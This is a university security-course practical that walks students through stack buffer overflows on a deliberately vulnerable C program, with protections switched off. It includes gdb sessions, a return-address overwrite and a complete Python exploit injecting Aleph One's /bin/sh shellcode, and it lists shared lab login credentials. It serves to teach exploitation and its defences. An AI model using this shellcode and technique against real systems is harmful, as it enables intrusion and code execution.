CS4615 - P4 - BUFFER OVERFLOW (II) PRACTICAL

Overview

In the lectures we have looked at buffer overflows. In this practical session we create a buffer overflow and execute malicious code. The example here follows closely the lectures which are based on Aleph One's tutorial on buffer overflows[1]. The example is a slightly modified version of an example by Michael Backes (CISPA) which is itself based on an example by Dan Boneh and John Mitchell (Stanford). We use a VM from Stanford's `CS155`[2]. You can either install this VM on your machine or log into a running version at **`mondovi.ucc.ie`** using:

```
ssh -p 2222 cs4615_02@mondovi.ucc.ie
```

You cannot reach this host directly and you have to go via csgate.ucc.ie (ssh into csgate first and from there ssh to mondovi as explained above).

There are currently 18 users defined ranging from `cs4615_02` to `cs4615_19` with the password equal to the username. Be aware that all students share the same machine (and potentially an account, it is not collision free) so keep this in mind while working (e.g. make a directory with your name for your files; leave other peoples stuff alone). If you run the original VM yourself the username is **`user`** and password is **`cs155`**.

Program

Our vulnerable program is listed below and can also be found at:

```
/home/user/target/target.c
```

In line 12, the first command line argument is copied in a buffer holding 128 bytes. If more than 128 byte are supplied at the command line an overflow will occur.

```
1  #include <stdio.h>
2  #include <stdlib.h>
3  #include <string.h>
4
5  // This hidden function is compiled into the code but is never called
6  void hidden() {
7          fprintf(stdout, "Hijacked! Hidden functionality!\n");
8  }
9
10 // This function is prone to a buffer overflow
11 int bar(char *arg, char *out) {
12         strcpy(out, arg);
13         return 0;
14 }
```

[1]http://insecure.org/stf/smashstack.html
[2]https://crypto.stanford.edu/cs155/

```

// A function allocation 128 byte and then calling bar to copy the first
// command line argument into the provided buffer
int foo(char *argv[]) {
        char buf[128];
        bar(argv[1], buf);
}

//main, reading a commandline argument and then calling foo
int main(int argc, char *argv[]) {
        if (argc != 2) {
                fprintf(stderr, "target: argc != 2\n");
                exit(EXIT_FAILURE);
        }
        foo(argv);
        return 0;
}
```

Compiling

To compile the program use the following compiler flags:

```
gcc -g -fno-stack-protector -mpreferred-stack-boundary=2 -Wno-format-
    security -z execstack target.c -o target
```

As you will see in the lectures a number of protection methods against buffer overflows are usually activated by default. We need to turn these off (compiler flags) so that we can run a simple buffer overflow as used in this demo. Also, this VM has address space randomisation (in `/proc/sys/kernel/randomize_va_space`) turned off.

PART1: Code Analysis

First we investigate the normal operation of the program using a debugger. Start the program using the following command:

```
cs4615_02@vm-cs155:~$ gdb target
```

You will then see the following output:

```
cs4615_02@vm-cs155:~$ gdb target
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.
    html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
```

```
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from target...done.
(gdb)
```

Now set two break points, one before the call to bar and one after. The program will stop execution at these break points and we can then use the debugger to investigate how the function call has modified memory.

```
(gdb) list foo
13  return 0;
14 }
15
16 // A function allocation 128 byte and then calling bar to copy the first
17 // commandline argument into the provided buffer
18 int foo(char *argv[]) {
19  char buf[128];
20  bar(argv[1], buf);
21 }
22
(gdb) break 20
Breakpoint 1 at 0x80484f6: file target.c, line 20.
(gdb) break 21
Breakpoint 2 at 0x804850b: file target.c, line 21.
(gdb)
```

Now we run the program using a command line argument of `ABCD` and then examine the content of variable `buf`. The buffer can contain random content as we have not cleared this memory space explicitly.

```
(gdb) run ABCD
Starting program: /home/cs4615_02/target ABCD

Breakpoint 1, foo (argv=0xbffffcf4) at target.c:20
20  bar(argv[1], buf);
(gdb) x /128bx buf
0xbffffbcc: 0x4b 0x75 0xea 0xb7 0xfe 0xfb 0xff 0xbf
0xbffffbd4: 0x00 0xfd 0xff 0xbf 0xe0 0x00 0x00 0x00
0xbffffbdc: 0x00 0x00 0x00 0x00 0x00 0xf0 0xff 0xb7
0xbffffbe4: 0x18 0xf9 0xff 0xb7 0x00 0xfc 0xff 0xbf
0xbffffbec: 0xa3 0x82 0x04 0x08 0x00 0x00 0x00 0x00
0xbffffbf4: 0x94 0xfc 0xff 0xbf 0x00 0x90 0xfc 0xb7
0xbffffbfc: 0x57 0xdd 0x00 0x00 0xff 0xff 0xff 0xff
0xbffffc04: 0x2f 0x00 0x00 0x00 0xc8 0x3d 0xe2 0xb7
0xbffffc0c: 0x58 0x78 0xfd 0xb7 0x00 0x80 0x00 0x00
0xbffffc14: 0x00 0x90 0xfc 0xb7 0x44 0x72 0xfc 0xb7
0xbffffc1c: 0xec 0xf0 0xe2 0xb7 0x02 0x00 0x00 0x00
0xbffffc24: 0x00 0x00 0x00 0x00 0x50 0x5a 0xe4 0xb7
0xbffffc2c: 0x9b 0x85 0x04 0x08 0x02 0x00 0x00 0x00
0xbffffc34: 0xf4 0xfc 0xff 0xbf 0x00 0xfd 0xff 0xbf
0xbffffc3c: 0x71 0x85 0x04 0x08 0xdc 0x93 0xfc 0xb7
```

```
0xbffffc44: 0x28 0x82 0x04 0x08 0x59 0x85 0x04 0x08
(gdb)
```

Now we continue execution of the program to the second break point and then we look at the content of `buf` again.

```
(gdb) cont
Continuing.

Breakpoint 2, foo (argv=0xbffffcf4) at target.c:21
21 }
(gdb) x /128bx buf
0xbffffbcc: 0x41 0x42 0x43 0x44 0x00 0xfb 0xff 0xbf
0xbffffbd4: 0x00 0xfd 0xff 0xbf 0xe0 0x00 0x00 0x00
0xbffffbdc: 0x00 0x00 0x00 0x00 0x00 0xf0 0xff 0xb7
0xbffffbe4: 0x18 0xf9 0xff 0xb7 0x00 0xfc 0xff 0xbf
0xbffffbec: 0xa3 0x82 0x04 0x08 0x00 0x00 0x00 0x00
0xbffffbf4: 0x94 0xfc 0xff 0xbf 0x00 0x90 0xfc 0xb7
0xbffffbfc: 0x57 0xdd 0x00 0x00 0xff 0xff 0xff 0xff
0xbffffc04: 0x2f 0x00 0x00 0x00 0xc8 0x3d 0xe2 0xb7
0xbffffc0c: 0x58 0x78 0xfd 0xb7 0x00 0x80 0x00 0x00
0xbffffc14: 0x00 0x90 0xfc 0xb7 0x44 0x72 0xfc 0xb7
0xbffffc1c: 0xec 0xf0 0xe2 0xb7 0x02 0x00 0x00 0x00
0xbffffc24: 0x00 0x00 0x00 0x00 0x50 0x5a 0xe4 0xb7
0xbffffc2c: 0x9b 0x85 0x04 0x08 0x02 0x00 0x00 0x00
0xbffffc34: 0xf4 0xfc 0xff 0xbf 0x00 0xfd 0xff 0xbf
0xbffffc3c: 0x71 0x85 0x04 0x08 0xdc 0x93 0xfc 0xb7
0xbffffc44: 0x28 0x82 0x04 0x08 0x59 0x85 0x04 0x08
(gdb)
```

We can see that now the buffer contains `0x41, 0x42, 0x43, 0x44` at the start which corresponds to `A, B, C, D`. Thereafter is a `0x00` which terminates this string. The remaining buffer remains unmodified. Words are represented in inverse byte order ("little endian"), i.e., the lower memory address is at the end. Thus, the `A` is at the end of the first word. The little-endian ordering is displayed if we print words (4 bytes on a 32 bit system) instead of single bytes:

```
(gdb) x /wx buf
0xbffffbcc: 0x44434241
(gdb)
```

We can also verify the memory address of *buf* using the following:

```
(gdb) print &buf
$1 = (char (*)[128]) 0xbffffbcc
(gdb)
```

The buffer is located at address `0xbffffbcc` and occupies the next 128 bytes starting at this address. While the execution of the program is halted at the end of function `foo`, we can also investigate which return address is saved on the stack. For this, we gather information on the current stack frame:

```
(gdb) info frame
```

```
Stack level 0, frame at 0xbffffc54:
 eip = 0x804850b in foo (target.c:21); saved eip = 0x804853d
 called by frame at 0xbffffc60
 source language c.
 Arglist at 0xbffffc4c, args: argv=0xbffffcf4
 Locals at 0xbffffc4c, Previous frame's sp is 0xbffffc54
 Saved registers:
  ebp at 0xbffffc4c, eip at 0xbffffc50
(gdb)
```

The information on saved registers shows that the instruction pointer is stored at `0xbffffc50` (called `eip`). Important is the information on the saved registers, where `eip` is the instruction pointer, i.e., the memory address of the next instruction to execute. That means, once `foo` returns, the instruction pointer will be restored to the value saved at the memory address of the saved `eip` (i.e., at memory location `0xbffffc50`). Let's check which address this is:

```
(gdb) x /wx 0xbffffc50
0xbffffc50: 0x0804853d
```

At last, let the program finish executing:

```
(gdb) cont
Continuing.
[Inferior 1 (process 22388) exited normally]
(gdb)
```

PART2: Calling The Hidden Function

Next, we want to exploit this program and call the unused function `hidden`. In order to be able to redirect the control flow to the `hidden` function, we first have to know its memory address. For this basic exploit, we can simply check the address in gdb:

```
(gdb) print &hidden
$2 = (void (*)()) 0x80484bb <hidden>
(gdb)
```

We can see that hidden is located at memory address `0x80484bb`. Thus, in order to redirect the control flow to hidden, we have to overwrite the (saved) instruction pointer `eip` with this address.

Now that we know to which value we have to set the saved instruction pointer, we have to craft an exploit code to pass as first argument to the program (i.e., as `argv[1])`. To overflow the `buf` and afterwards the saved `eip`, we have to know how long exactly our input must be. In this case, we can compute this length from distance between the start of `buf` and the address of the saved `eip`. From the previous section we know that `buf` is located at `0xbffffbcc` and that the saved `eip` in function foo is located at `0xbffffc50`. Thus, the distance between start of the buffer and the saved return address is:

$$0xbffffc50 - 0xbffffbcc = 0x84 = 132 \tag{1}$$

So we have to fill the buffer (128 bytes) and need an overflow of 8 bytes (4 bytes for the gap between end of buffer and saved return address, $132 - 128 = 4$, plus 4 bytes to override the saved return address).

It is important that you perform above calculation only with the addresses from program executions that received identical input (or from within the same gdb session)! The exact address of `buf` and of the saved return address depend on the length of the command line arguments, as we will see later.

We can craft such command line arguments easily using the python scripting language.

```
python2.7 -c "print 132 * 'A' + '\xbb' + '\x84' + '\x04' + '\x08'"
```

Of course you can use any scripting language or a shell script (python3 might work too but print uses unicode and each character is represented by two byte). The above command will print out a string, that is exactly the exploit command line argument that we need: 132 `A` to fill the buffer and the gap between buffer and saved return address plus 4 bytes that are the address of hidden to overwrite the saved return address (remember, words in x86 are stored in reverse byte order, i.e., "little endian", and hence we have to print the address in reverse order in our commands).

We can use the output of those commands directly as command line argument for `target` by putting them into ticks ‘. Again, let us interrupt the program just before the call to bar and just after that call but before returning from foo and thereby examine the memory region that we are about to override:

```
(gdb) run `python2.7 -c "print 132 * 'A' + '\xbb' + '\x84' + '\x04' + '\x08'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/cs4615_02/target `python2.7 -c "print 132 * 'A' + '\xbb' + '\x84' + '\x04' + '\x08'"`

Breakpoint 1, foo (argv=0xbffffc64) at target.c:20
20   bar(argv[1], buf);
(gdb) x /128xb buf
0xbffffb3c: 0x4b 0x75 0xea 0xb7 0x6e 0xfb 0xff 0xbf
0xbffffb44: 0x70 0xfc 0xff 0xbf 0xe0 0x00 0x00 0x00
0xbffffb4c: 0x00 0x00 0x00 0x00 0x00 0xf0 0xff 0xb7
0xbffffb54: 0x18 0xf9 0xff 0xb7 0x70 0xfb 0xff 0xbf
0xbffffb5c: 0xa3 0x82 0x04 0x08 0x00 0x00 0x00 0x00
0xbffffb64: 0x04 0xfc 0xff 0xbf 0x00 0x90 0xfc 0xb7
0xbffffb6c: 0x57 0xdd 0x00 0x00 0xff 0xff 0xff 0xff
0xbffffb74: 0x2f 0x00 0x00 0x00 0xc8 0x3d 0xe2 0xb7
0xbffffb7c: 0x58 0x78 0xfd 0xb7 0x00 0x80 0x00 0x00
0xbffffb84: 0x00 0x90 0xfc 0xb7 0x44 0x72 0xfc 0xb7
0xbffffb8c: 0xec 0xf0 0xe2 0xb7 0x02 0x00 0x00 0x00
0xbffffb94: 0x00 0x00 0x00 0x00 0x50 0x5a 0xe4 0xb7
0xbffffb9c: 0x9b 0x85 0x04 0x08 0x02 0x00 0x00 0x00
0xbffffba4: 0x64 0xfc 0xff 0xbf 0x70 0xfc 0xff 0xbf
0xbffffbac: 0x71 0x85 0x04 0x08 0xdc 0x93 0xfc 0xb7
0xbffffbb4: 0x28 0x82 0x04 0x08 0x59 0x85 0x04 0x08
(gdb) info frame
```

```
Stack level 0, frame at 0xbffffbc4:
 eip = 0x80484f6 in foo (target.c:20); saved eip = 0x804853d
 called by frame at 0xbffffbd0
 source language c.
 Arglist at 0xbffffbbc, args: argv=0xbffffc64
 Locals at 0xbffffbbc, Previous frame's sp is 0xbffffbc4
 Saved registers:
  ebp at 0xbffffbbc, eip at 0xbffffbc0
(gdb) x /4bx 0xbffffbbc
0xbffffbbc: 0xc8 0xfb 0xff 0xbf
(gdb) x /4bx 0xbffffbc0
0xbffffbc0: 0x3d 0x85 0x04 0x08
(gdb)
```

So far the control flow is identical to the one shown in the normal execution. You can see the regular saved return address at the very end of the printed memory region for `buf`. Let's continue to the second breakpoint after the copy operation in bar and re-examine the memory region:

```
(gdb) cont
Continuing.

Breakpoint 2, foo (argv=0xbffffc00) at target.c:21
21 }
(gdb) x /128xb buf
0xbffffb3c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffb44: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffb4c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffb54: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffb5c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffb64: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffb6c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffb74: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffb7c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffb84: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffb8c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffb94: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffb9c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffba4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffbac: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffffbb4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb) info frame
Stack level 0, frame at 0xbffffbc4:
 eip = 0x804850b in foo (target.c:21); saved eip = 0x80484bb
 called by frame at 0xbffffbc8
 source language c.
 Arglist at 0xbffffbbc, args: argv=0xbffffc00
 Locals at 0xbffffbbc, Previous frame's sp is 0xbffffbc4
 Saved registers:
  ebp at 0xbffffbbc, eip at 0xbffffbc0
```

```
(gdb) x /4bx 0xbffffbbc
0xbffffbbc: 0x41 0x41 0x41 0x41
(gdb) x /4bx 0xbffffbc0
0xbffffbc0: 0xbb 0x84 0x04 0x08
(gdb)
```

As we can see, the buffer is indeed filled with `A`s, also the gap between end of buffer is filled with `A`s, and the saved return address is correctly overwritten with the address of hidden. Let's continue execution:

```
(gdb) cont
Continuing.
Hijacked! Hidden functionality!

Program received signal SIGSEGV, Segmentation fault.
0xbffffc00 in ?? ()
(gdb)
```

As we can see, the hidden was successfully called. After that, the program crashed with a `SIGSEGV` error, i.e., the program tried to illegally access a memory location to which it did not have access.

PART3: Executing Injected Shellcode

Now we will exploit the target by injecting shellcode (i.e., writing it onto the stack into the `buf` memory region) and then redirecting the control flow to our injected shellcode. This allows us to execute arbitrary commands with the privileges of the target program process.

In order to redirect the control flow to the content of `buf`, we first have to know the address of `buf` during runtime. However, the buffer is allocated dynamically on the stack at runtime whenever the `foo` function is called. In case of our simple program, `foo` is only called from `main` and thus the memory location of `buf` on the stack depends on what data `main` and every code before `main` has pushed onto the stack prior to calling `foo`. One of the things that has to be pushed onto the stack are the command line arguments. Thus, the location of `buf` moves depending on the length of the command line argument. We can investigate this by looking at two program executions with different command line input:

```
(gdb) run ABCD
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/cs4615_02/target ABCD

Breakpoint 1, foo (argv=0xbffffcf4) at target.c:20
20	bar(argv[1], buf);
(gdb) info frame
Stack level 0, frame at 0xbffffc54:
 eip = 0x80484f6 in foo (target.c:20); saved eip = 0x804853d
 called by frame at 0xbffffc60
 source language c.
 Arglist at 0xbffffc4c, args: argv=0xbffffcf4
```

```
 Locals at 0xbffffc4c, Previous frame's sp is 0xbffffc54
 Saved registers:
  ebp at 0xbffffc4c, eip at 0xbffffc50
(gdb) run ABCDABCDABCDABCD
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/cs4615_02/target ABCDABCDABCDABCD

Breakpoint 1, foo (argv=0xbffffce4) at target.c:20
20  bar(argv[1], buf);
(gdb) info frame
Stack level 0, frame at 0xbffffc44:
 eip = 0x80484f6 in foo (target.c:20); saved eip = 0x804853d
 called by frame at 0xbffffc50
 source language c.
 Arglist at 0xbffffc3c, args: argv=0xbffffce4
 Locals at 0xbffffc3c, Previous frame's sp is 0xbffffc44
 Saved registers:
  ebp at 0xbffffc3c, eip at 0xbffffc40
(gdb)
```

In the two executions, the addresses of `ebp` and `eip` differ. However, this does not affect the relative offsets within a stack frame, i.e., the distance between `buf` and the saved return address of `foo` remains constant (132 bytes), just their absolute addresses change. Since we have to again overwrite the saved return address of `foo`, we again need 136 bytes input. Let's find out the address of `buf` when we provide a command line argument of this length:

```
(gdb) run `python2.7 -c "print 'A' * 136"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/cs4615_02/target `python2.7 -c "print 'A' * 136"`

Breakpoint 1, foo (argv=0xbffffc64) at target.c:20
20  bar(argv[1], buf);
(gdb) print &buf
$3 = (char (*)[128]) 0xbffffb3c
(gdb)
```

So, we know that `buf` will be located at address `0xbffffb3c` when we execute target0 with an argument of our required length.

Now that we know to which value we have to set the saved instruction pointer, we can craft an exploit code. For our exploit, we will use the shellcode from Aleph One's tutorial, which will simply open a shell prompt when executed:

```
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
```

Since this shellcode is much shorter than our buffer size, we have to additionally fill the buffer. For this we will simply use a "nop slide", i.e., `0x90` bytes which when executed simply do nothing. The benefit of a nop slide is, that in case our overwritten return address does not point directly to our shellcode but to the nop bytes, the execution will eventually "slide" to our shellcode. Hence, the nop slide can be used to compensate for changes in the stack memory layout and make the exploit more robust against such changes.

To actually craft our exploit code, we will use again a scripting language, here a Python script:

```
# Aleph One shellcode
sc = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

# Buffer address in correct endianness
BUF_ADDR = "\x3c\xfb\xff\xbf"
LENGTH_BUFFER = 128
SIZE_EBP = 4
SIZE_EIP = 4
TOTAL_LENGTH_INPUT = LENGTH_BUFFER + SIZE_EBP + SIZE_EIP

# Print nop slide + shellcode + address of buffer
print (TOTAL_LENGTH_INPUT - len(sc) - len(BUF_ADDR)) * '\x90' + sc + BUF_ADDR
```

Lastly, we exploit target using our exploit code:

```
(gdb) run `python2.7 shellcode.py`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/cs4615_02/target `python2.7 shellcode.py`

Breakpoint 1, foo (argv=0xbffffc64) at target.c:20
20  bar(argv[1], buf);
(gdb) cont
Continuing.

Breakpoint 2, foo (argv=0xbffffc00) at target.c:21
21 }
(gdb) info frame
Stack level 0, frame at 0xbffffbc4:
 eip = 0x804850b in foo (target.c:21); saved eip = 0xbffffb3c
 called by frame at 0x68732f76
 source language c.
 Arglist at 0xbffffbbc, args: argv=0xbffffc00
 Locals at 0xbffffbbc, Previous frame's sp is 0xbffffbc4
 Saved registers:
  ebp at 0xbffffbbc, eip at 0xbffffbc0
(gdb) x /4bx 0xbffffbbc
0xbffffbbc: 0x6e 0x2f 0x73 0x68
(gdb) x /4bx 0xbffffbc0
```

```
0xbffffbc0: 0x3c 0xfb 0xff 0xbf
(gdb) print &buf
$4 = (char (*)[128]) 0xbffffb3c
(gdb)
```

As can be seen, the buffer was correctly filled and the saved return address of `foo` correctly overwritten with the address of `buf`, i.e., it points to the beginning of the nop slide. Let's continue the execution:

```
(gdb) cont
Continuing.
process 22533 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No source file named /home/cs4615_02/target.c.
Error in re-setting breakpoint 2: No source file named /home/cs4615_02/target.c.
$ ls
shellcode.py  target  target.c
$
```

CS4615 Continuous Assessment - PART 4

Please submit an answer to the following question with your CS4615 Continuous Assessment. Your answer should not be longer than half a page (You can use figures or code pieces to illustrate your answer).

Question P4 [2 MARKS]: Buffer overflow protection methods

The virtual machine used in the practical has address space randomisation (in `/proc/sys/kernel/randomize_va_space`) turned off. Explain what address space randomisation is and how it is used to protect against buffer overflows.